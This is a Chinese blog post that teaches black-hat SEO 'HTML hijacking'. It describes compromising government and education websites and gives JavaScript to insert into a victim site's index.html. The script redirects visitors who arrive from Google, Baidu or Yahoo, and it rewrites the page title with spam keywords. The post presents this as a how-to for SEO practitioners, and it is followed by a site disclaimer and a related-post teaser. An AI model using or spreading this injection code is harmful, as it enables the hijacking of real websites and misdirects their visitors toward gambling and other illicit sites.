【黑帽SEO】SEO中html恶意劫持原理及html劫持代码
众所周知,黑帽SEO中zui常见的手法便是网页劫持了。其劫持手法众多,asp/aspx/劫持、js劫持、html劫持等等。今天跟大家先讲讲html劫持的原理及劫持代码。
网页劫持是目前黑帽SEO或者说黑产zui喜欢的一种网页引流方式,此手法往往通过入侵政府、教育机构网站(权重高),修改网站源代码、放寄生虫程序、设置二级目录反向代理等实现。网页劫持可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;表现形式可以是劫持跳转,也可以是劫持呈现的网页内容,目前被广泛应用于私服、博彩等暴利行业。
html劫持代码:message[0]中的关键词并不是你的关键词,而是给网站原有的人看的;
找到index.html文件,编辑,代码记住是放到下面;
接下来我们看下代码实现方法:
< script LANGUAGE = "Javascript" >var s = document.referrerif (s.indexOf("google") > 0 || s.indexOf("baidu") > 0 || s.indexOf("yahoo") > 0) location.href = ""; < /script><script LANGUAGE="Javascript"> var message = new Array(); message[0] = "一起学习网|黑帽seo|seo教程|seo自学网"; var reps = 1; var speed = 0;/ / Set the overall typing speed(larger number = slower action). var hold = 4111111 // set the length of time to display the whole phrase before retyping (larger number = longer) var p = message.length; var q = 0; var r = 0; var C = 0; var mC = 0; var s = 0; var sT = null; if (reps < 1) { reps = 1; } function setMessage() { typing = message[mC]; q = typing.length; r = q + hold; typeMessage(); } function typeMessage() { if (s > r) { s = 0; } if (s > q) { document.title = typing; } else { document.title = typing.substr(0, s); } if (C < (r * reps)) { sT = setTimeout("typeMessage()", speed); C++; s++; } else { C = 0; s = 0; mC++; if (mC > p - 1) { mC = 0; } sT = null; setMessage(); } } setMessage(); < /script>
以上就是黑帽SEO中网页劫持也就是html劫持原理以及html劫持代码的知识分享,希望能够帮助到我们众多的seoer。
声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至201542412@QQ.com举报,一经查实,本站将立刻删除。
相关推荐
-
seo技术培训怎么样,靠谱嘛?(黑帽seo365t技术)
so培训怎么样?靠谱吗?So在业内应用广泛,从业者众多。相信大家都知道一个道理,就是只要有需求,就会有市场。如果一个企业想首先建立自己的声誉,它必须进行最大程度的宣传。在做宣传的时候,往往需要应用SO技术。所以有各种专门做合同运营和宣传的机构,专门为这些有需求的企业做关键词搜索和推广,也就是我